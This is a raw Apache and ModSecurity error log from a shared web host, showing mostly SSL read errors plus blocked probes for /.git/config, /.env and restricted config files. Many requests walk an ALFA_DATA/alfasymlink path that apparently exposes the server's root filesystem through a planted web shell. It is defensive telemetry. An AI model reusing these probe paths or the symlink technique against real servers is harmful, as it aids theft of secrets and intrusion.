[Mon Oct 26 17:05:49.282528 2026] [security2:error] [pid 3098114:tid 3098114] [client 43.160.241.129:33804] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/farma1/"] [unique_id "at_ArYU8RArHmY5bTmWszAAAAAY"]
[Mon Oct 26 17:05:52.205743 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.208.223.68:36610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:05:59.873155 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.232.11.247:60861] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:12.742718 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.9:16992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/objs_per_slab
[Mon Oct 26 17:06:19.995330 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.54.95.127:47198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:23.689316 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.215.59.93:56873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:31.761764 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.212.106.171:30324] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:32.159513 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 185.191.171.6:64524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:36.077980 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.80.130.239:1511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:39.877322 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.2.191.202:4541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:44.010398 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.225.138.57:23145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:47.875027 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.193.2.57:36526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:51.905125 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.230.69.161:27638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:06:55.749844 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.217.171.106:40446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:10.450005 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 185.191.171.11:31104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:11.917113 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.144.185.255:36263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:23.887059 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.215.231.15:19486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:28.226910 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.207.207.36:62891] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:31.779356 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.72.95.195:21884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:34.485279 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:56500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_BCM-doU5lRL_NAI8QeQAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 17:07:34.485337 2026] [security2:error] [pid 3058816:tid 3058816] [client 107.172.76.131:56500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_BCM-doU5lRL_NAI8QeQAAAAE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 17:07:37.683007 2026] [security2:error] [pid 3084023:tid 3084023] [client 16.216.88.253:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/99-nfs-client.conf"] [unique_id "at_BGXMs9DEewnALzGZ0zQAAACM"]
[Mon Oct 26 17:07:37.683637 2026] [security2:error] [pid 3084023:tid 3084023] [client 16.216.88.253:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/99-nfs-client.conf"] [unique_id "at_BGXMs9DEewnALzGZ0zQAAACM"]
[Mon Oct 26 17:07:37.684148 2026] [security2:error] [pid 3084023:tid 3084023] [client 16.216.88.253:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/99-nfs-client.conf"] [unique_id "at_BGXMs9DEewnALzGZ0zQAAACM"]
[Mon Oct 26 17:07:51.684527 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.23.214.190:9222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:55.657267 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.212.232.231:28677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:07:59.390894 2026] [security2:error] [pid 3085795:tid 3085795] [client 144.172.105.154:52018] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_BL13BHaKovmquNkFr7AAAAAA"], referer: http://plantas2.sherwinpinturas.com/.git/config
[Mon Oct 26 17:07:59.391236 2026] [security2:error] [pid 3085795:tid 3085795] [client 144.172.105.154:52018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_BL13BHaKovmquNkFr7AAAAAA"], referer: http://plantas2.sherwinpinturas.com/.git/config
[Mon Oct 26 17:07:59.391576 2026] [security2:error] [pid 3085795:tid 3085795] [client 144.172.105.154:52018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_BL13BHaKovmquNkFr7AAAAAA"], referer: http://plantas2.sherwinpinturas.com/.git/config
[Mon Oct 26 17:07:59.470712 2026] [security2:error] [pid 3100940:tid 3100940] [client 144.172.105.154:52032] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_BLz77nSD73jfhp0aCIwAAAAc"], referer: http://plantas1.sherwinpinturas.com/.git/config
[Mon Oct 26 17:07:59.471066 2026] [security2:error] [pid 3100940:tid 3100940] [client 144.172.105.154:52032] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_BLz77nSD73jfhp0aCIwAAAAc"], referer: http://plantas1.sherwinpinturas.com/.git/config
[Mon Oct 26 17:07:59.471435 2026] [security2:error] [pid 3100940:tid 3100940] [client 144.172.105.154:52032] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_BLz77nSD73jfhp0aCIwAAAAc"], referer: http://plantas1.sherwinpinturas.com/.git/config
[Mon Oct 26 17:08:15.655976 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 18.233.24.238:16644] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:08:47.754071 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.195.145.102:45916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:03.764594 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.225.87.80:23661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:07.707173 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.89.170.186:52527] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:15.882105 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 35.169.119.108:53374] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:27.681414 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.28.118.16:63864] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:27.681643 2026] [security2:error] [pid 3098116:tid 3098116] [client 100.28.118.16:63864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:08/uevent"] [unique_id "at_BhzS1e-yu7xYT1dr5iwAAAAk"]
[Mon Oct 26 17:09:27.681679 2026] [security2:error] [pid 3098116:tid 3098116] [client 100.28.118.16:63864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:00/subsystem/devices/device:08/uevent"] [unique_id "at_BhzS1e-yu7xYT1dr5iwAAAAk"]
[Mon Oct 26 17:09:31.799320 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 34.202.88.37:7952] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:39.784903 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.207.47.227:28583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:43.836891 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.224.215.150:9793] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:48.798056 2026] [security2:error] [pid 3064975:tid 3064975] [client 63.64.3.6:36776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at_BnMdX-waAlDqXJHtWAAAAABY"]
[Mon Oct 26 17:09:48.798101 2026] [security2:error] [pid 3064975:tid 3064975] [client 63.64.3.6:36776] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at_BnMdX-waAlDqXJHtWAAAAABY"]
[Mon Oct 26 17:09:56.242255 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.224.215.150:42279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:09:56.463902 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.11:55738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/aliases
[Mon Oct 26 17:10:01.176677 2026] [security2:error] [pid 3084056:tid 3084056] [client 16.216.88.106:24576] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/gdk-pixbuf-2.0/"] [unique_id "at_BqXKvFNFM41eF9IjmpwAAADc"]
[Mon Oct 26 17:10:01.176713 2026] [security2:error] [pid 3084056:tid 3084056] [client 16.216.88.106:24576] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/gdk-pixbuf-2.0/"] [unique_id "at_BqXKvFNFM41eF9IjmpwAAADc"]
[Mon Oct 26 17:10:04.011017 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 44.216.172.204:20587] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/subsystem/uevent
[Mon Oct 26 17:10:12.164225 2026] [ssl:error] [pid 3064975:tid 3064975] (5)Input/output error: [client 34.234.197.175:45596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:10:15.928224 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.204.89.12:35209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:10:23.994184 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.147.238.89:43226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:10:35.914178 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.0.105.244:44533] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:10:51.765228 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.209.201.119:51727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:11:03.759298 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.210.114.189:9872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:11:10.702623 2026] [security2:error] [pid 3089355:tid 3089355] [client 119.45.238.147:60630] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at_B7ml9busrkyxI7OQW2gAAAAI"]
[Mon Oct 26 17:11:10.704611 2026] [authz_core:error] [pid 3089355:tid 3089355] [client 119.45.238.147:60630] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 17:11:12.002310 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 23.22.59.87:14826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:11:19.627556 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 52.6.232.201:49683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS1/flags
[Mon Oct 26 17:11:35.580322 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.207.207.36:64317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:11:43.466871 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.229.164.203:57350] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:11:47.400797 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.230.224.6:2319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:11:51.564467 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 3.229.2.217:14115] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/ac/bind
[Mon Oct 26 17:11:59.635738 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.84.200.43:1365] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:12:03.391166 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.92.171.106:34862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:12:11.737845 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 50.16.216.166:49290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:12:15.399943 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 98.82.59.253:25655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:12:19.245196 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 34.226.89.140:52109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/driver/remove_id
[Mon Oct 26 17:12:31.481113 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 34.192.67.98:43988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/xmit_fifo_size
[Mon Oct 26 17:12:35.185229 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 184.73.47.24:10480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:12:42.884128 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.164:43830] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_CSj77nSD73jfhp0aCMQAAAAc"]
[Mon Oct 26 17:12:42.884445 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.164:43830] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_CSj77nSD73jfhp0aCMQAAAAc"]
[Mon Oct 26 17:12:42.884770 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.164:43830] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_CSj77nSD73jfhp0aCMQAAAAc"]
[Mon Oct 26 17:12:43.275968 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.212.219.113:12675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:13:03.960971 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.211:52596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/reclaim_account
[Mon Oct 26 17:13:18.849613 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.91.122.193:4588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:13:22.785054 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.231.45.47:25458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:13:26.724540 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.221.222.168:48138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:13:30.568940 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.0.218.219:42501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:13:45.270715 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 170.231.236.98:28368] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 17:13:54.100613 2026] [core:crit] [pid 3098114:tid 3098114] (13)Permission denied: [client 170.231.237.214:23502] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 17:13:58.251790 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.231.181.240:4211] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:14:02.771585 2026] [core:crit] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.236.38:56378] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 17:14:06.266223 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.216.227.216:61358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:14:11.428372 2026] [core:crit] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.236.38:27236] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 17:14:18.206776 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.21.175.228:11904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:14:19.197895 2026] [core:crit] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.236.38:28256] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 17:14:30.200685 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.45.77.169:25972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:14:42.179254 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.5.242.243:6174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:14:58.393816 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.210.114.189:16302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:15:06.190075 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.83.178.66:5389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:15:10.334814 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 18.205.91.101:50044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/new_id
[Mon Oct 26 17:15:22.332355 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.85.109.140:62380] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:15:26.159945 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.171.117.160:25125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:15:30.349894 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.205.74.196:60981] AH02013: coalesce failed to read from data bucket
